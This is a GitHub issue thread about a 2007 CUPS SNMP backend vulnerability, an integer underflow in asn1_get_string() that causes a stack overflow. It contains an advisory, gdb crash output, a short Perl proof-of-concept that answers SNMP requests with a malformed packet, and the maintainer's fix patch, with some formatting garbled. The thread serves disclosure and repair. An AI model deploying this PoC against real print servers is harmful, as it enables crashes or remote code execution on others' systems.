SNMP backend integer underflow/stack overflow in asn1_get_string() #2589

Closed
michaelrsweet opened this Issue Nov 8, 2007 · 3 comments

Comments

Projects
None yet
1 participant
Collaborator

michaelrsweet commented Nov 8, 2007

Version: 1.3.4
CUPS.org User: mike

A brief summary:

TITLE: CUPS Backend SNMP Remote Stack Overflow Vulnerability

PRODUCT: CUPS

VERSION: version 1.3.4 and Prior

PLATFORM: Many UNIX platforms

DESCRIPTION: There is a stack based integer overflow in asn1_get_string() in backend/snmp.c

RESULTS: An attacker could remotely execute code in the privilege level that CUPS runs in.
CREDIT:
Wei Wang of McAfee AVERT Research

Complete details (including crash PoC):

    CUPS Backend SNMP Remote Stack Overflow Vulnerability

The vulnerability is caused by a signedness error within the "asn1_get_string()" function in backend/snmp.c when backend SNMP program processes SNMP responses with an asn1 encoded string. This is exploitable in some OS environments. Successful exploitation woul
d allow execution of arbitrary code. A failed exploit attempt would cause a program crash.

This problem can be exploited to cause a stack-based buffer overflow. The backend SNMP program broadcasts SNMP requests to discover network print servers. An attacker can reply with malformed SNMP responses to trigger this issue.

Affected Vendor:

CUPS

Affected Products:

CUPS version 1.3.4 and Prior

Crash info:

(gdb) r 192.168.15.129
Starting program: /home/wwang/src/cups-1.3.3/backend/snmp 192.168.15.129
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x84a000
[Thread debugging using libthread_db enabled]
[New Thread -1208154448 (LWP 14351)]
_cupsGlobals(): globals_key_once=0
globals_init(): globals_key=0(0)
_cupsGlobals: allocating memory for thread...
globals=0x9868008
cupsArrayAdd(a=0x98692d0, e=0x9869440)
cups_array_add(a=0x98692d0, e=0x9869440, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x9869440
cups_array_add: returning 1
cupsFileOpen(filename="/etc/cups/snmp.conf", mode="r")
INFO: Using default SNMP Community public
cupsArrayAdd(a=0x9869388, e=0x98694a0)
cups_array_add(a=0x9869388, e=0x98694a0, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x98694a0
cups_array_add: returning 1
httpAddrGetList(hostname="192.168.15.129", family=AF_INET, service="(null)")
httpAddrString(addr=0x98695ec, s=0xbff79288, slen=32)
httpAddrString: returning "192.168.15.129"...
httpAddrString(addr=0xbff7a4f8, s=0xbff7a3f8, slen=256)
httpAddrString: returning "192.168.15.129"...

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208154448 (LWP 14351)]
0x008d368c in memcpy () from /lib/libc.so.6

(gdb) bt
#0 0x008d368c in memcpy () from /lib/libc.so.6
#1 0x08049801 in asn1_get_string (buffer=0xb

ff7dfff, bufend=Variable "bufend" is not available.
) at snmp.c:1069
#2 0x0804a772 in scan_devices (fd=6) at snmp.c:590
#3 0x00000000 in ?? ()

P0C:

!/usr/bin/perl

if 0

backend_snmp_poc.pl write by wei_wang@mcafee.com

#2007-11-06

snmp.c asn1_get_string integer overflow cups 1.3.4

packet->error = "No community name";

else if ((length = asn1_get_length(&bufptr, bufend)) == 0)

packet->error = "Community name uses indefinite length";

else

{

asn1_get_string(&bufptr, bufend, length, packet->community,

sizeof(packet->community));

if ((packet->request_type = asn1_get_type(&bufptr, bufend))

002a: 30 38 tag=0x30 len=0x38

002c: 02 01 00 version:1 (0)

002f: 04 84 ff ff ff ff 69 63 community:public

len is 0xffffffff

endif

my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $SOCK_DGRAM=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
while(1)
{
my $rip=recv (SOCKET,$Cmd,100,0);
send (SOCKET,$payload,0,$rip) or die "send false";
print "$Cmd";
}

Collaborator

michaelrsweet commented Nov 9, 2007

CUPS.org User: mike

To clarify the issue, this is an integer underflow which leads to an overflow of the string buffer.

The attached patch (good for both CUPS 1.2.x and 1.3.x) addresses this issue by flagging strings with negative lengths as errors and returning an empty string instead.

Collaborator

michaelrsweet commented Dec 5, 2007

CUPS.org User: mike

Further clarification on this bug:

1. CUPS 1.3.x systems are NOT vulnerable by default since
   the snmp backend must be configured (via the snmp.conf file)
   with one or more Address lines.

2. CUPS 1.2.x systems are vulnerable by default, as they use a
   default "Address @LOCAL" line in the snmp.conf file.

3. CUPS 1.1.x systems are not vulnerable since they did not have
   the snmp backend.
Collaborator

michaelrsweet commented Dec 17, 2007

"str2589.patch":

Index: backend/snmp.c

--- backend/snmp.c (revision 530)
+++ backend/snmp.c (working copy)
@@ -1064,18 +1064,38 @@
char string, / I - String buffer /
int strsize) /
I - String buffer size */
{

  • if (length < strsize)
  • if (length < 0)
    {
  • memcpy(string, *buffer, length);
  • /*
  • * Disallow negative lengths!
  • */
  • fprintf(stderr, "ERROR: Bad ASN1 string length %d!\n", length);
  • *string = '\0';
  • }
  • else if (length < strsize)
  • {
  • /*
  • * String is smaller than the buffer...
  • */
  • if (length > 0)
  •  memcpy(string, *buffer, length);
    
    string[length] = '\0';
    }
    else
    {
  • /*
  • * String is larger than the buffer...
  • */

memcpy(string, buffer, strsize - 1);
string[strsize - 1] = '\0';
}

  • (*buffer) += length;
  • if (length > 0)
  • (*buffer) += length;

return (string);
}

michaelrsweet added this to the Stable milestone Mar 17, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment